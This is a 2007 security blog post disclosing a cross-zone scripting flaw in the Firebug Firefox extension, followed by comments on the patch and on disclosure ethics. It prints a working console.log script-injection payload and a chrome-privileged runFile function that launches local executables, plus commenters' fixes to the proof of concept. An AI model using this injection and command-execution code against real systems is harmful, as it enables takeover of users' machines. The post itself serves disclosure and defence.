Firebug Goes Evil

Wed, 04 Apr 2007 19:12:38 GMT

Firebug is a very powerful JavaScript debugger for Firefox. "I love it!" It has tones of useful features like a dynamic console, DOM tree explorer, CSS viewer/editor, script explorer and my favorite, a network monitor where I can see all Flash, XMLHttpRequest, JS and Image requests.

Firebug is mainly used by web developers to find bugs in their code but it can also be used from security guys like me to find and explore various client-side and server-side vulnerabilities. Firebug is my best buddy. I even partially based Technika, the bookmarklets powertool, on the top of Firebug.

Unfortunately, Firebug suffers from rather simple but quite dangerous vulnerability. I have discussed similar issues before. In general, browsers try their best to prevent common vulnerabilities from crippling into their code. However, that's not the case with browser extensions. Very often, browser extension authors do not consider the security aspects of their work, i.e. extensions are not carefully inspected for security vulnerabilities. Because of this, incidents occur. IMHO, the next wave of browser attacks will target exactly this.

In this post I am going to disclose a vulnerability for Firebug which can be used by attackers to gain control of every system where the Firebug extension is installed. Of course, the user needs to visit a malicious page first, which means that the attack surface is greatly reduced. However, given the fact that the largest user base of the Firefox browser are geeks and Firebug is a top extension at http://addons.mozilla.org, attackers can cause quite a lot of trouble.

The vulnerability is of a type Cross-zone or Cross-context scripting, where a script from a web pages is injected inside the zone of the browser, also know as the chrome, or in the zone of the file: protocol. In both cases the result is quite devastating, although the second is a bit less critical then the first. Remote scripts in the browser are restricted by a sandbox. This means that everything that is prefixed with http: or https: is secure. Browser extensions make use of the chrome: protocol. This protocol is not restricted at all and everything is allowed. In that respect, browser extensions are trusted. However if a remote script, tricks the browser into executing JavaScript expressions on chrome: then this script can take control of the entire chrome and also the underplaying operating system because then command execution and read/write file access operations are allowed.

In order to cause Cross-zone scripting in Firebug you need to do the following:

console.log({'<script>alert("bing!")</script>':'exploit'})

If you put this JavaScript expression into a page and open it with the browser while Firebug is on, you will be prompted with an alert box. This is not very interesting but there is a lot more you can do then that. For example, attackers can easily inject the following function into the browser chrome:

function runFile(f) {
        var file = Components.classes["@mozilla.org/file/local;1"]
                .createInstance(Components.interfaces.nsILocalFile);

        file.initWithPath(f);

        var process = Components.classes["@mozilla.org/process/util;1"]
                .createInstance(Components.interfaces.nsIProcess);

        process.init(file);

        var argv = Array.prototype.slice.call(arguments, 1);

        process.run(true, argv, argv.length);
}

The function runFile allows execution of files. With the function declaration in the browser chrome, attackers can call console.log a few more times to spawn any file they want or even silently install browser extensions, not to mention that they will be able to read and write the file system too. The possibilities for evilness are endless.

There is a catch though. The Cross-context scripting vector is very tiny. In order to exploit the vulnerability, I needed to go through some extreme things like dynamically composing the malicious payload in a string then evaluating the string content inside the chrome. I wrote two (1, 2) Proof of Concept exploits that you can try out.

It is highly recommended that you disable Firebug until this issue is fixed which I have no doubt that it will be quite soon.

pdppdp
David Kierznowski has verified the issue and also suggested that not only console.log is vulnerable.
ZeroknockZeroknock
Hey pdp I am working on the same issue but you got first. Thats good. I think the XPI stuff is going to creat a big problem in upcoming time for the Mozilla. Regards
DelixeDelixe
That is seriously scary as hell. Good find pdp.
zeroknockzeroknock
Hey pdp The proof of code is not working exactly. You got a simple mistake in your code to some extent.This problem i was facing too but resolved it in this way. You have to use [form tag] with name under which you will use form properties and objects like button etc. In the Javascript layout , you must design a funntion annd pass form as its specified parameter.
function exploitFirebug(form) {}

<form name="form">
Objects
</form>
With new specification the code wont get execute and the error results in this way "console.log not defined". Just sharp a code bit.
pdppdp
Interesting, but the exploit works on my side. So you are saying that you receive errors on your side because I need to put the input elements inside a form? Give me an example. I've tried to exploit on a couple of machines and it worked flawlessly.
.mario.mario
Great find! Scary find - as professional webdev I use firebug on a daily basis. Since today always switched on... Again, great find!
JordanJordan
I've always run firebug, but since it causes a bit of a slow down anyway, I always disable it by default except on sites where I explicitly enable it. Ironically, gnucitizen was one of those sites since I was playing around with carnival a while back. The list of allowed domains is back down to domains I control... ;-) Good catch, pdp. I think it's time to move my browsing habits into a sandbox... /me sighs.
Joe HewittJoe Hewitt
I've released an update to Firebug which fixes this issue.
pdppdp
Thanks Joe, This is why I like Firefox Extensions: they get fixed easily and the update is almost instantaneous.
MichaelMichael
Thanks for the heads-up. I use Firebug all the time.
zeroknockzeroknock
Hey Not everyone at this point of time have patched this flaw.Still its hold concern.The question about the code is clear by underlined way. An Exemplary Layout:
function sendSpam(fspam)
{

}
In body section:
<form name="fspam">
 Calling Objects
</form>
The form has to be passed as a handler.This will make the POC super flawless.The firefox sometimes wont load the variables if not defined in this way.
The DOM says: Window - Document - Form - Objects.
Its a good programmin layout free from all type os error functionality.You have to just add few lines of code. Regards
pdppdp
gotch you, very weird behaviour though.
zeroknockzeroknock
Hey Thats what i hate about this browser stuff. Sometimes it work and vice versa. But Still we want the things to be done.
r4w8173r4w8173
It seems that you can disable firebug to prevent the exploitation, but I found out that if you load a local file firebug automatically enables itself even if you have disabled it. Nice :)
pdppdp
r4w8173, this is something David Kierznowski suggested as well. It seams that the Firebug disabling features work on http: and https: protocols but not on file:. On file: Firebug is enabled and you cannot do anything about it, unless you completely disable the extension from the Firefox Add-ons dialog.
CC
I'm using Firebug 1.0.1... is this version safe?
Joe GrossbergJoe Grossberg
C: No. Upgrade. pdp: Why would you not have contacted the extension creator directly and waited a day for him to patch it? This seems irresponsible.
Joe HewittJoe Hewitt
I'm about to release another Firebug upgrade which adds support for disabling file: URLs. My apologies for not doing this in the first place.
pdppdp
Thor Larholm has identified another vulnerability in Firebug which by nature is similar to my finding. This vulnerability affects 1.0.3 which means that you should disable Firebug for now. For more information about the new issue click here.
mahaliemahalie
The above exploit has been fixed as well. Joe is very responsive and I thought it would be worth posting his response on the last link here as well:
Joe Hewitt says: April 6th, 2007 at 3:44 I have fixed this issue and and released 1.04. As you suggested, I now escape all text before inserting it into HTML, rather than leaving it up to the caller. I've also added support for disabling file: urls. I hope there aren't any more vulnerabilities to be found, but if there are, please give me a day to patch it before you publish. I do appreciate you taking the time to make Firebug more secure, but it's better for everyone to have the patch surface before the exploit. It is a good think that Firefox has an automatic update system, so every Firebug user should be secured within a few days.
pdppdp
Joe G., We often need to take extreme routes to make a point otherwise nobody would listen. However, I knew that Joe Hewitt will patch Firebug very quickly because the extension has one of the cleanest source code structures I have ever seen.
Joe GrossbergJoe Grossberg
pdp: It seems to me that saying "you have 48 hours to patch, before we publicize the exploit" would be just as effective in making people listen.
Thor LarholmThor Larholm
I don't think there is anything extreme about publishing a vulnerability when you find it. sure, Joe could have been away for the Easter holiday visiting his family and therefor not been able to patch it immediately, but I fail to see how that is my concern. In that regards I have treated him no worse or better than I have treated Microsoft, Mozilla or Valve in the past. This is research that pdp and I have independently performed. We're not employees of Microsoft or Firebug, instead we are altruistically researching and publishing the very things that others are also researching - but keeping private.
Joe GrossbergJoe Grossberg
"I don't think there is anything extreme about publishing a vulnerability when you find it." You put software users unnecessarily at risk. That's what's wrong with it. "I fail to see how that is my concern" Yep, there you go. You are not "altruistically researching" anything when you don't consider what's best for the end users? There aren't just two parties involved in these bug reports -- the software developer and the security researcher -- there is a third group with interests at stake: the thousands, if not millions of end users who are vulnerable. You're right that you don't owe Joe Hewitt anything (though I would opine it would be nice if you extended common courtesy). And you also deserve credit for finding this security hole. But you do a huge disservice to all the everyday users like me when you dismiss the possibility that "Joe could have been away for the Easter holiday visiting his family and therefor not been able to patch it immediately".
Randolph FinderRandolph Finder
I'm looking for a way to detect the version of Firebug running *without* going into Firefox. Registry Keys, file version of specific files, file version in readme files, or anything like that. I'm trying to write a detection of vulnerable versions for a network scanner.
pdppdp
Randolph, so you are saying that you want to detect Firebug remotely? Right now, this is a bit difficult. If you want to detect Firebug version without going into Firefox, but still being local, you can just read the install.rdf file from Firebug extension folder which is under the Firefox profile folder.
JamesJames
Thor, I don't think anyone here is saying you should bury the research. We all know that security through obscurity is a fallacy. However, asking you to delay publishing an exploit for a day or two is certainly not unreasonable. It helps protect the users more than the author. Premature publishing of explicit exploit information is one of the ways that "zero-day" problems become widespread. As a user of Firebug I'd rather you had talked to Joe first. Actually as a user of any software I'd rather you give it's author a chance to patch before publishing exploits. If you feel you must post immediately, post the information that the vulnerability exists and some basic details without the full "how-to" and follow up later with the full disclosure. There are certainly times where it's appropriate to use disclosure as a means to force action, but give the author a reasonable chance to respond. It's better for all of us. James. Previously Thor Larholm said:
I don't think there is anything extreme about publishing a vulnerability when you find it. sure, Joe could have been away for the Easter holiday visiting his family and therefor not been able to patch it immediately, but I fail to see how that is my concern. In that regards I have treated him no worse or better than I have treated Microsoft, Mozilla or Valve in the past. This is research that pdp and I have independently performed. We're not employees of Microsoft or Firebug, instead we are altruistically researching and publishing the very things that others are also researching - but keeping private.
Outlaw ReviewsOutlaw Reviews
Yes I think you should inform the owner before you publish or you are just contributing to the problem. So that would make you just as guilty as the people causing all the problems on the net today. But on the other hand its people like you all that help keep the net safe just be responsable with your powers are you doing it for good or evil.
SebastianSebastian
To be able to read this post, I had to use Firebug to make the font bold. You can't be serious.